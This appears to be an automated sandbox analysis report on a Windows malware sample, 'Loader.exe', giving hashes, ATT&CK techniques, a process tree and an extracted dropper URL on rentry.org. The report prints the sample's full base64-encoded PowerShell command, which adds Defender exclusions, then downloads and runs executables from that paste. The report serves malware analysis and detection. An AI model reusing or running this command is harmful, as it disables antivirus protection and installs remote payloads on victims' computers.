fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06/06/2024, 23:26

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General

Target
Loader.exe
Size 7KB
Sample240606-3fb1aade9x
SHA256 fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b
MD5 b5e479d3926b22b59926050c29c4e761
SHA1 a456cc6993d12abe6c44f2d453d7ae5da2029e24
SHA512 09d1aa9b9d7905c37b76a6b697de9f2230219e7f51951654de73b0ad47b8bb8f93cf63aa4688a958477275853b382a2905791db9dcb186cad7f96015b2909fe8
SSDEEP 192:q+yk9cqvjX3xszdzztCbxbsIcaqc2Ng5vGIcaBSNtUqOwciQjdv:Tyk9Hv1O/Cbxbbcaqc2NidcaANt/dcio
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://rentry.org/lem61111111111/raw

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2544	powershell.exe
6	2544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 2544	1668	Loader.exe	28
PID 1668 wrote to memory of 2544	1668	Loader.exe	28
PID 1668 wrote to memory of 2544	1668	Loader.exe	28

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1668-0-0x000007FEF5AC3000-0x000007FEF5AC4000-memory.dmp

Download

memory/1668-1-0x0000000000D40000-0x0000000000D48000-memory.dmp

Download

memory/2544-6-0x0000000002C20000-0x0000000002CA0000-memory.dmp

Download

memory/2544-8-0x00000000028F0000-0x00000000028F8000-memory.dmp

Download

memory/2544-7-0x000000001B480000-0x000000001B762000-memory.dmp

Download

memory/2544-9-0x0000000002C20000-0x0000000002CA0000-memory.dmp

Download